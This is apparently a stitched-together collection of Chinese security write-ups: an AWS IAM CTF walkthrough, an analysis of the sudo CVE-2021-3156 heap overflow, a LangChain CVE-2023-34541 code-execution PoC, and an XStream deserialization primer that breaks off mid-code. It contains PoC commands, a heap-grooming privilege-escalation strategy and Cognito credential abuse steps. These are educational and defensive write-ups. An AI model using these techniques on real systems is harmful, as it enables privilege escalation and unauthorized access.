接收到来自sns的订阅确认,消息提示点击SubscribeURL确认订阅消息,等待一会即可接收到附带flag的订阅消息: 获取到flag如下: {wiz:always-suspect-asterisks} Challenge4: Admin only? We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it? 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:GetObject",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",           "Condition": {               "StringLike": {                   "s3:prefix": "files/*"               },               "ForAllValues:StringLike": {                   "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"               }           }       }   ] } 该策略用于定义对 Amazon S3 存储桶的访问权限。其中包含了两个声明(Statement): 1、声明一允许任何用户存储桶执行GetObject操作,访问thebigiamchallenge-admin-storage-abf1321的s3储存桶资源。 2、声明二允许任何用户对S3存储桶执行ListBucket操作,列出存储桶中的对象。该声明有一个约束条件限制请求中的后缀必须以"files/" 开头,并且访问资源的主体是arn:aws:iam::133713371337:user/admin。 解题思路: 看到声明二中限制的访问资源主体是arn:aws:iam::133713371337:user/admin,便想着如何获取到该用户的凭据,然而在目前的环境中翻遍了各种配置文件和脚本文件都未发现相关凭据泄露,且当下凭据不能用于该访问主体。随后转变思路利用GetObject操作无限制进行目录Fuzz,Fuzz出如下路径: /thebigiamchallenge-admin-storage-abf1321/files/   /thebigiamchallenge-admin-storage-abf1321/files/cache/ /thebigiamchallenge-admin-storage-abf1321/files/tmp/ https://s3.amazonaws.com/thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt 然后再深一次Fuzz,仍无flag相关结果,最终经瑞幸楼少提醒,发现了如下参数的妙用: --no-sign-request 该参数可以用来执行无需身份验证的请求。使用该参数可以跳过对请求进行签名和身份验证的步骤,从而可以在某些情况下执行不需要验证的操作。 aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp/flag4.txt 获得flag如下: {wiz:principal-arn-is-not-what-you-think} Challenge5: Do I know you? We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes. 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Sid": "VisualEditor0",           "Effect": "Allow",           "Action": [               "mobileanalytics:PutEvents",               "cognito-sync:*"           ],           "Resource": "*"       },       {           "Sid": "VisualEditor1",           "Effect": "Allow",           "Action": [               "s3:GetObject",               "s3:ListBucket"           ],           "Resource": [               "arn:aws:s3:::wiz-privatefiles",               "arn:aws:s3:::wiz-privatefiles/*"           ]       }   ] } https://wiz-privatefiles.s3.amazonaws.com/ https://s3.amazonaws.com/wiz-privatefiles/ https://wiz-privatefiles.s3.amazonaws.com/soap/ 如上策略有两个声明,VisualEditor0声明允许向MobileAnalytics服务发送事件数据以及对Cognito Sync服务执行任何操作,且对这两个服务中的所有资源都可以操作。VisualEditor1声明允许执行GetObject和ListBucket两个操作,来获取wiz-privatefiles存储桶中的对象并列出存储桶中的内容。 解题思路: 根据题目提示得知AWS Cognito服务为主要身份提供商,问题大概率出现在此处,通过搜索AWS Cognito配置错误看到一篇文章: https://www.wangan.com/p/7fy7f8abba5c0234       //通过错误配置的AWS Cognito接管AWS帐户 结合该思路我们首先需要获取到该AWS Cognito服务的identity_pool_id: 梳理下常见的获取identity_pool_id方法: 1、通过应用程序代码查找使用Cognito的部分,并寻找可能存在identity_pool_id的位置,通常在一些JS文件或者接口中可能存在。 2、通过监控分析网络流量分析捕获应用程序与Cognito之间的通信。在捕获的网络流量中,搜索包含 identity_pool_id 的请求或响应。 3、通过搜寻查找一些配置文件或环境变量及启动脚本等获取Cognito相关的配置信息。 4、通过分析应用程序日志,查找 identity_pool_id 的信息。有时日志文件会记录与身份池相关的操作或配置。 5、通过aws控制台或CLI命令行获取identity_pool_id,前提是需要有一定权限。 结合文章思路在前端页面获取到IdentityPoolId: AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"}); 获取到identity_pool_id通过脚本再获取AK密钥进行配置: 由于当前云终端权限限制的问题,改用本地进行配置及后续操作: aws configure aws configure set aws_access_key_id aws configure set aws_secret_access_key aws configure set aws_session_token "" 获取到Flag如下: {wiz:incognito-is-always-suspicious} Challenge6: One final push Anonymous access no more. Let's see what can you do now. Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": {               "Federated": "cognito-identity.amazonaws.com"           },           "Action": "sts:AssumeRoleWithWebIdentity",               "Condition": {               "StringEquals": {                   "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"               }           }       }   ] } 该策略用于定义IAM角色的信任关系,当cognito-identity身份服务进行Web身份验证时,可以使用STS的AssumeRoleWithWebIdentity操作请求临时凭证进行验证身份。此操作将验证来自cognito-identity身份服务的用户身份,并根据策略规定的条件和权限,为该用户生成一组临时凭证。这些临时凭证具有一定的时效性,可用于对 AWS 资源进行访问。 解题思路: 题目中提示不再有匿名访问且需要使用身份aws:iam::092297851374:role/Cognito_s3accessAuth_Role进行操作,策略信息也指明了cognito-identity验证中的aud必须是identity_pool_id为us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b。思路如下: 1、获取身份标识符identity-id aws cognito-identity get-id --identity-pool-id "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b" 2、获取对应身份标识的令牌token aws cognito-identity get-open-id-token --identity-id 获取到的identity-id 3、使用获取到的身份验证令牌指定目标角色来获取临时访问凭证 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name 自定义session名称 --web-identity-token 获取到的token令牌 4、根据获取到的AK密钥配置并获取flag aws s3 ls aws s3 ls s3://wiz-privatefiles-x1000 aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt - 获取到flag如下: {wiz:open-sesame-or-shell-i-say-openid}
Sudo堆溢出漏洞(CVE-2021-3156)复现
背景介绍 2021 年 1 月 26 日,Qualys Research Labs在 sudo 发现了一个缺陷。sudo 解析命令行参数的方式时,错误的判断了截断符,从而导致攻击者可以恶意构造载荷,使得sudo发生堆溢出,该漏洞在配合环境变量等分配堆以及释放堆的原语下,可以致使本地提权。 环境搭建 环境版本 • ubuntu 20.04 • sudo-1.8.31p2 采用下述命令进行编译安装 cd ./sudo-SUDO_1_8_31p2 mkdir build ./configure --prefix=/home/pwn/sudo CFLAGS=”-O0 -g" make && make install 漏洞验证 #poc ./sudoedit -s '\' 11111111111111111111111111111111111111111111111111111111111111111111 执行上述POC执行sudoedit会出现malloc():invalid size的字样,这是典型的堆溢出后导致的异常。 漏洞分析 源码分析 set_cmnd函数 File: plugins\sudoers\sudoers.c 800: static int 801: set_cmnd(void) 802: {   ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 845: 846: /* set user_args */ 847: if (NewArgc > 1) { 848:    char *to, *from, **av; 849:    size_t size, n; 850: 851:    /* Alloc and build up user_args. */ 852:    for (size = 0, av = NewArgv + 1; *av; av++) //遍历每一个参数 853: size += strlen(*av) + 1; //计算每一个参数的长度 854:    if (size == 0 || (user_args = malloc(size)) == NULL) { //通过malloc动态分配一段内存,用于存放参数内容 855: sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 856: debug_return_int(-1); 857:   } 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 859: /* 860: * When running a command via a shell, the sudo front-end 861: * escapes potential meta chars. We unescape non-spaces 862: * for sudoers matching and logging purposes. 863: */ 864: for (to = user_args, av = NewArgv + 1; (from = *av); av++) { //遍历每个环境变量,并将内容拷贝到内存中 865:    while (*from) {   /*   漏洞点,当扫描参数内容时,遇到\需要进行转义处理,例如'\t'、'\n'等,因此sudo只判断\后是否跟随着空格字符,即用isspace函数进行判 断。   isspace包括的字符如下:   ' '     (0x20)   space (SPC) 空格符 '\t'   (0x09)   horizontal tab (TAB) 水平制表符     '\n'   (0x0a)   newline (LF) 换行符 '\v'   (0x0b)   vertical tab (VT) 垂直制表符 '\f'   (0x0c)   feed (FF) 换页符 '\r'   (0x0d)   carriage return (CR) 回车符 以上不包括'\0'。 而参数之间是使用'\0'作为分隔符的,因此当'\\'后跟随的'\0'会使得from++从而导致将后一个参数也被拷贝进来,最后致使堆块溢出。   */ 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) 867:    from++; 868: *to++ = *from++; 869:   } 870:    *to++ = ' '; 871: } 872: *--to = '\0'; 使用POC的例子对漏洞进行说明 漏洞原理图 因此漏洞点在于在进入set_cmnd函数时需要对转义字符进行转义,但是函数却没有判断转义字符作为参数末尾的情况,即\ + \x00 parse_args函数 parse_args函数用于反转义,即参数中若存在转义字符,会在每个转义字符之前增加一个\ File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程 593: char **av, *cmnd = NULL; 594: int ac = 1; 595: 596: if (argc != 0) { 597:    /* shell -c "command" */ 598:    char *src, *dst; 599:    size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) + 600: strlen(argv[argc - 1]) + 1; 601: 602:    cmnd = dst = reallocarray(NULL, cmnd_size, 2); 603:    if (cmnd == NULL) 604: sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 605:    if (!gc_add(GC_PTR, cmnd)) 606: exit(1); 607: 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: } 615: *dst++ = ' '; 616:   } 617:    if (cmnd != dst) 618: dst--;  /* replace last space with a NUL */ 619:    *dst = '\0'; 620: 621:    ac += 2; /* -c cmnd */ 622: } 这也是为什么set_cmnd函数需要对参数进行转义,因此若先经过parse_args函数进行反转义,后经过set_cmnd函数进行转义,那么sudo是不会出现漏洞情况的 绕过检验 那么如何绕过set_cmnd函数直接进入parse_args函数,才是漏洞能够被成功触发的关键因素 首先是如何才能过进入set_cmnd函数,sudo会经过两重检测 sudo_mode需要具有MODE_RUN、MODE_EDIT或者MODE_CHECK的标志位 sudo_mode需要具有MODE_SHELL或者MODE_LOGIN_SHELL的标志位 File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 想要获得MODE_SHELL的标志位,则需要设置-s参数,此时通过 SET(flags, MODE_SHELL),将flag设置上MODE_SHELL,并且默认的mode是为NULL,因此设置-s参数可以使得flag即设置MODE_SHELL又设置MODE_RUN。 File: src\parse_args.c 479: case 's': 480:    sudo_settings[ARG_USER_SHELL].value = "true"; 481:    SET(flags, MODE_SHELL); 482:    break; ... 534: if (!mode) 535:    mode = MODE_RUN; /* running a command */ 536:     } 但是若使用sudo -s,那么就会导致flag即设置MODE_SHELL又设置MODE_RUN,就会进入parse_args函数的流程,该流程会把所有非字母数字的字符前方增加一个'\',那么就会导致我们无法构造'' + '\x00'的漏洞字符,因此想要漏洞利用成功,我们不需要程序进入set_cmd函数,但是不能进入parse_args函数 File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程   ... 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: }   ... 622: } 在parse_args函数的开头,会检测是以sudo还是以sudoedit进行调用,若使用sudoedit调用,那么会直接给mode设置上MODE_EDIT,从而绕过了mode==NULL时,需要将flag设置为MODE_RUN,因此使用sudoedit -s,可以使得flag即设置MODE_EDIT又设置MODE_SHELL File: src\parse_args.c   ... 265:     proglen = strlen(progname); 266:     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { 267: progname = "sudoedit"; 268: mode = MODE_EDIT; 269: sudo_settings[ARG_SUDOEDIT].value = "true"; 270:     } 想要进入set_cmnd第二条路径就是flag设置为MODE_EDIT | MODE_SHELL,这样的输入就能够绕过parse_args函数而禁止进入set_cmd函数,这也是为什么sudo的堆溢出,需要使用sudoedit -s触发,而不是sudo -s File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 漏洞利用 漏洞利用分析 由于程序存在一个明显的堆溢出漏洞,因此需要梳理一下堆溢出如何进行利用。 • 找到一个堆块,该堆块的值会影响程序执行的流程,这里称之为可利用堆块。 • 找到可以随意控制堆块位置的操作,将漏洞函数申请的堆块部署在可利用堆块的上方,当堆溢出触发时,可以将可利用堆块的值被改写成我们预期的值。 可利用堆块 nss是用于解析和获取不同类型的名称信息,例如如何通过用名称去获取用户信息,在sudo需要获取用户信息时则需要调用nss。 在使用nss去获取信息时,其实是通过不同的动态链接库去执行相应的行为,而这些库的文件名则存在于/etc/nsswitch.conf的配置文件中 例如想要查询passwd文件则需要用到libnss_files.so与libnss_systemed.so 那么如何加载这些动态链接库则需要依赖于nss_load_library函数,而且这些相关信息都被存放在service_user结构体中,而该结构体是存放在堆内存中的。 接着得先研究该结构体的值是否会影响程序的执行流程,代码如下。 File: nsswitch.c 327: static int 328: nss_load_library (service_user *ni) 329: { 330:   if (ni->library == NULL) 331:     { 332:       /* This service has not yet been used. Fetch the service 333: library for it, creating a new one if need be. If there 334: is no service table from the file, this static variable 335: holds the head of the service_library list made from the 336: default configuration. */ 337:       static name_database default_table; 338:       ni->library = nss_new_service (service_table ?: &default_table, 339:     ni->name); //若ni->library的值为NULL,那么就会新建一个ni->library并将成员都进行初始化 340:       if (ni->library == NULL) 341: return -1; 342:     } 343: 344:   if (ni->library->lib_handle == NULL) //由于ni->library刚新建,因此ni->library->lib_handle必定为NULL 345:     { 346:       /* Load the shared library. */ 347:       size_t shlen = (7 + strlen (ni->name) + 3 348:      + strlen (__nss_shlib_revision) + 1); 349:       int saved_errno = errno; 350:       char shlib_name[shlen]; 351: 352:       /* Construct shared object name. */ 353:       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, 354:      "libnss_"), 355:    ni->name), 356:  ".so"), //shalib_name是根据拼接得到 357: __nss_shlib_revision); 358: 359:       ni->library->lib_handle = __libc_dlopen (shlib_name); //加载动态链接库 上述代码有个非常关键的点在于,程序会使用__libc_dlopen打开shalib_name指定的动态链接库,而shalib_name是通过ni->name进行一系列的拼接得到,而ni->name则是存放在结构体service_user *ni中的,该结构体又是存放在堆内存中的。那么我们就找到了关键的值ni->name,它是能够完成修改程序执行流程的关键变量。 举个例子,例如我们将ni->name修改为X/test,那么最后拼接的结果会得到libnss_X/test.so,那么如果我们在当前目录下新建一个libnss_X并且在该目录中创建一个test.so的动态链接库,那么sudo就会加载并执行我们动态链接库中的代码。至此我们找到利用的第一个关键因素,可利用堆块。 布置堆块的操作 由于我们已经找到了可利用的堆块,如果能够将堆溢出的堆块部署在可利用堆块的上方,在利用堆溢出修改ni->name,即可完成任意代码执行的效果。 在sudo的main函数中,会执行setlocate函数。setlocale 是一个用于设置程序的区域设置(locale)的函数,在许多编程语言和操作系统中都有对应的实现。 区域设置是指程序在运行时所采用的语言、地区、日期格式、货币符号等相关信息的集合。通过设置区域设置,程序可以根据不同的地区和语言环境来适应本地化需求。 export LC_ALL=en_US.UTF-8@XXXX 而在setlocal函数中涉及十分多的堆块分配与释放的操作,当调用setlocal(LC_ALL,"")时,程序会通过环境变量设置的值去搜索区域设置的值,而环境变量的搜索则依靠_nl_find_locale函数。 _nl_find_locale函数 File: locale\findlocale.c 101: struct __locale_data * 102: _nl_find_locale (const char *locale_path, size_t locale_path_len, 103: int category, const char **name) 104: {   ... 184:   /* LOCALE can consist of up to four recognized parts for the XPG syntax: 185: 186: language[_territory[.codeset]][@modifier] 187: 188:     Beside the first all of them are allowed to be missing. If the 189:     full specified locale is not found, the less specific one are 190:     looked for. The various part will be stripped off according to 191:     the following order: 192: (1) codeset 193: (2) normalized codeset 194: (3) territory 195: (4) modifier 196:   */       /*       区域的格式为C_en_US.UTF-8@XXXXXX       _nl_explode_name用于判断(1)(2)(3)(4)哪部分存在,哪部分缺失       */ 197:   mask = _nl_explode_name (loc_name, &language, &modifier, &territory, 198:   &codeset, &normalized_codeset); 199:   if (mask == -1) 200:     /* Memory allocate problem. */ 201:     return NULL; 202:   //locale_file则给区域设置进行动态内存的分配 205:   locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 206:    locale_path, locale_path_len, mask, 207:    language, territory, codeset, 208:    normalized_codeset, modifier, 209:    _nl_category_names_get (category), 0); //返回NULL 210: 211:   if (locale_file == NULL) 212:     { 213:       /* Find status record for addressed locale file. We have to search 214: through all directories in the locale path. */ 215:       locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 216: locale_path, locale_path_len, mask, 217: language, territory, codeset, 218: normalized_codeset, modifier, 219: _nl_category_names_get (category), 1); 220:       if (locale_file == NULL) 221: /* This means we are out of core. */ 222: return NULL; 223:     } } _nl_make_l10nflist**函数** _nl_make_l10nflist会根据我们传入的值进行堆块的分配。 File: intl\l10nflist.c 150: struct loaded_l10nfile * 151: _nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list, 152:    const char *dirlist, size_t dirlist_len, 153:    int mask, const char *language, const char *territory, 154:    const char *codeset, const char *normalized_codeset, 155:    const char *modifier, 156:    const char *filename, int do_allocate) 157: {   ... 165:   //根据我们传入的区域值的长度进行动态分配 166:   abs_filename = (char *) malloc (dirlist_len 167:  + strlen (language) 168:  + ((mask & XPG_TERRITORY) != 0 169:     ? strlen (territory) + 1 : 0) 170:  + ((mask & XPG_CODESET) != 0 171:     ? strlen (codeset) + 1 : 0) 172:  + ((mask & XPG_NORM_CODESET) != 0 173:     ? strlen (normalized_codeset) + 1 : 0) 174:  + ((mask & XPG_MODIFIER) != 0 175:     ? strlen (modifier) + 1 : 0) 176:  + 1 + strlen (filename) + 1); 177:   ... 292: } setlocale**函数** setlocale函数总体操作则是读取环境变量的值获取区域设置的值,根据区域设置的值分配堆块大小,若其中存在不符合区域值的规范,则会将所有先前申请的堆块都释放掉。 File: locale\setlocale.c 334:       while (category-- > 0) 335: if (category != LC_ALL) 336: {   //通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中 337:    newdata[category] = _nl_find_locale (locale_path, locale_path_len, 338: category, 339: &newnames[category]); 340: ... 364: else 365: {   //使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去 366:    newnames[category] = __strdup (newnames[category]); 367:    if (newnames[category] == NULL) 368:      break; 369: }   ... 393:  if (category != LC_ALL && newnames[category] != _nl_C_name 394:      && newnames[category] != _nl_global_locale.__names[category]) 395:    free ((char *) newnames[category]); //这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉 因此可以通过区域值去控制堆块的大小,接着在最后设置一个错误的区域值去控制堆块的位置,至此我们找到可控制堆块的操作。 LC_IDENTIFICATION = C.UTF-8@XX..XX #若长度为0x10,则malloc(0x10) LC_MEASUREMENT = C.UTF-8@XX..XXX,#若长度为0X20,则malloc(0x20) LC_TELEPHONE = XXXX #不符合区域值的规范,则会调用free() exp的分析 由于我们需要控制server_user的堆块,因此需要知道该堆块的大小为多少,通过调试可知是0x40的堆块,因此利用setlocate多释放几个0x40的堆块,那么server_user就会使用到我们所释放的堆块。 紧接着将漏洞堆块分配到server_user堆块的上方,由于server_user的堆块是我们自己构建的,因此只需要在释放该堆块的同时也释放漏洞堆块即可,并且漏洞堆块的申请可是根据参数的长度所设置的 将设置区域值的函数设置为堆块分配与释放的原语,使用@后面的字符控制堆块的大小 使用错误的区域值进行堆块的释放 最后就是如何填充到可利用堆块,这里使用堆溢出,并且在环境变量中构造填充字符串,使得漏洞堆块可以覆盖掉可利用堆块的内容值,但这里需要注意的是,我们需要将ni->library中用\x00填充,而\x00是无法直接输入到环境变量中的,因此需要再次观察漏洞函数是如何拷贝字符的。根据代码分析可知,只要''后紧跟着'\x00',那么我们就能将\x00的值直接拷贝的堆内存中。紧接着将ni->name修改为我们认为构造的动态链接库即可。 File: plugins\sudoers\sudoers.c 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) //若 '\' 后跟着'\x00' 867:    from++; //此时from会指向\x00 868: *to++ = *from++; //使用\x00进行值的拷贝 869:   } 设置多个环境变量使得内存存在多个'' + '\x00',从而使用'\x00'去覆盖堆的内存值。 演示效果如下 漏洞修复 漏洞的修复则是将MODE_EDIT的标志位进行了额外的判断,并且在''后面增加了对'\0'的校验 --- a/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 +++ b/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 @@ -547,7 +547,7 @@     /* If run as root with SUDO_USER set, set sudo_user.pw to that user. */     /* XXX - causes confusion when root is not listed in sudoers */ -    if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) { if (user_uid == 0 && strcmp(prev_user, "root") != 0) {    struct passwd *pw; @@ -932,8 +932,8 @@     if (user_cmnd == NULL) user_cmnd = NewArgv[0]; -    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { - if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) { + if (!ISSET(sudo_mode, MODE_EDIT)) { //对MODE_EDIT进行了额外的判断    const char *runchroot = user_runchroot;    if (runchroot == NULL && def_runchroot != NULL &&    strcmp(def_runchroot, "*") != 0) @@ -961,7 +961,8 @@ sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR);   } -    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { +    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) && +    ISSET(sudo_mode, MODE_RUN)) { //需要sudo -s才能进行转义 /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces @@ -969,10 +970,22 @@ */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) {    while (*from) { - if (from[0] == '\\' && !isspace((unsigned char)from[1])) + if (from[0] == '\\' && from[1] != '\0' &&  //增加了'\0'的判断 + !isspace((unsigned char)from[1])) {    from++; + } + if (size - (to - user_args) < 1) { +    sudo_warnx(U_("internal error, %s overflow"), + __func__); +    debug_return_int(NOT_FOUND_ERROR); + } *to++ = *from++;   } +    if (size - (to - user_args) < 1) { + sudo_warnx(U_("internal error, %s overflow"), +    __func__); + debug_return_int(NOT_FOUND_ERROR); +   }    *to++ = ' '; } *--to = '\0'; 总结 Sudo堆溢出攻击流程 首先利用setlocate作为堆块分配与释放的原语,构造出适合的堆布局确保server_user堆块尽可能贴近漏洞代码开辟出来的堆块。 其次利用堆溢出将server_user堆块的ni->name值覆盖,覆盖的值为恶意构造的动态链接库名。 最后等待动态链接库被加载执行。 Sudo堆溢出利用的限制 由于sudo堆溢出依赖堆的布局,因此不同版本的sudo或者操作系统都会影响漏洞的利用。
LangChain 任意命令执行(CVE-2023-34541)
漏洞简介 LangChain是一个用于开发由语言模型驱动的应用程序的框架。 在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。 漏洞复现 在项目下编写 test.py from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("system.py") 同级目录下编写 system.py 执行系统命令 dir import os os.system("dir") 运行 test.py 返回了执行系统命令dir 的结果 漏洞分析-_load_prompt_from_file langchain.prompts.loading.load_prompt try_load_from_hub 是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到 _load_prompt_from_file langchain.prompts.loading._load_prompt_from_file 在 _load_prompt_from_file 根据文件的后缀,当后缀是 .py 时 最终会读取该文件并利用 exec 去执行 也就相当于,代码可以简写为 if __name__ == '__main__':    file_path = "system.py"    with open(file_path, "rb") as f:        exec(f.read()) ‍ 漏洞分析-try_load_from_hub 因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析 from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py") langchain.prompts.loading.load_prompt langchain.utilities.loading.try_load_from_hub 首先匹配了 HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)") 所以需要满足最开始是 lc:// 然后对后面的内容进行匹配,要求第一个字段的值是 prompts 最后的后缀要在 {'py', 'yaml', 'json'} 中 最后拼接请求的url 可以通过 ../../../ 绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行 漏洞小结 在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。
Java 反序列化之 XStream 反序列化
0x01 XStream 基础 XStream 简介 XStream 是一个简单的基于 Java 库,Java 对象序列化到 XML,反之亦然(即:可以轻易的将 Java 对象和 XML 文档相互转换)。 使用 XStream 实现序列化与反序列化 下面看下如何使用 XStream 进行序列化和反序列化操作的。 先定义接口类 IPerson.java public interface IPerson {      void output();   } 接着定义 Person 类实现前面的接口: public class Person implements IPerson {      String name;      int age;        public void output() {          System.out.print("Hello, this is " + this.name + ", age " + this.age);     }   } XStream 序列化是调用 XStream.toXML() 来实现的: public class Serialize {      public static void main(String[] args) {          Person p = new Person();          p.age = 6;          p.name = "Drunkbaby";          XStream xstream = new XStream(new DomDriver());          String xml = xstream.toXML(p);          System.out.println(xml);     }   } XStream 反序列化是用过调用 XStream.fromXML() 来实现的,其中获取 XML 文件内容的方式可以通过 Scanner() 或 FileInputStream 都可以: Deserialize.java import com.thoughtworks.xstream.XStream;   import com.thoughtworks.xstream.io.xml.DomDriver;     import java.io.File;   import java.io.FileInputStream;   import java.io.FileNotFoundException;   import java.util.Scanner;     public class Deserialize {      public static void main(String[] args) throws FileNotFoundException {   //       String xml = new Scanner(new File("person.xml")).useDelimiter("\\Z").next();          FileInputStream xml = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");          XStream xstream = new XStream(new DomDriver());          Person p = (Person) xstream.fromXML(xml);          p.output();     }   } XStream 几个部分 XStream 类图,参考./https://www.jianshu.com/p/387c568faf62: 主要分为四个部分: MarshallingStrategy 编码策略 marshall : object->xml 编码 unmarshall : xml-> object 解码 两个重要的实现类: com.thoughtworks.xstream.core.TreeMarshaller : 树编组程序 调用 Mapper 和 Converter 把 XML 转化成 Java 对象 其中的 start 方法开始编组 其中调用了 this.convertAnother(item) 方法 convertAnother 方法的作用是把 XML 转化成 Java 对象。 Mapper 映射器 简单来说就是通过 mapper 获取对象对应的类、成员、Field 属性的 Class 对象,赋值给 XML 的标签字段。 Converter 转换器 XStream 为 Java 常见的类型提供了 Converter 转换器。转换器注册中心是 XStream 组成的核心部分。 转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为 XML 或将 XML 转换为对象。 简单地说,就是输入 XML 后它能识别其中的标签字段并转换为相应的对象,反之亦然。 转换器需要实现 3 个方法,这三个方法分别是来自于 Converter 类以及它的父类 ConverterMatcher canConvert 方法:告诉 XStream 对象,它能够转换的对象; marshal 方法:能够将对象转换为 XML 时候的具体操作; unmarshal 方法:能够将 XML 转换为对象时的具体操作; 具体参考:http://x-stream.github.io/converters.html 这里告诉了我们针对各种对象,XStream 都做了哪些支持。 EventHandler 类 EventHandler 类为动态生成事件侦听器提供支持,这些侦听器的方法执行一条涉及传入事件对象和目标对象的简单语句。 EventHandler 类是实现了 InvocationHandler 的一个类,设计本意是为交互工具提供 beans,建立从用户界面到应用程序逻辑的连接。 EventHandler 类定义的代码如下,其含有 target 和 action 属性,在 EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke() 的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用: public class EventHandler implements InvocationHandler {      private Object target;      private String action;   ...     public Object invoke(final Object proxy, final Method method, final Object[] arguments) {         ...                  return invokeInternal(proxy, method, arguments);         ...     }         private Object invokeInternal(Object proxy, Method method, Object[] arguments) {         ...                                Method targetMethod = Statement.getMethod(                               target.getClass(), action, argTypes);                 ...                  return MethodUtil.invoke(targetMethod, target, newArgs);             }             ...     }     ...   } 这里重点看下 EventHandler.invokeInternal() 函数的代码逻辑,如注释: private Object invokeInternal(Object var1, Method var2, Object[] var3) {   //-------------------------------------part1----------------------------------   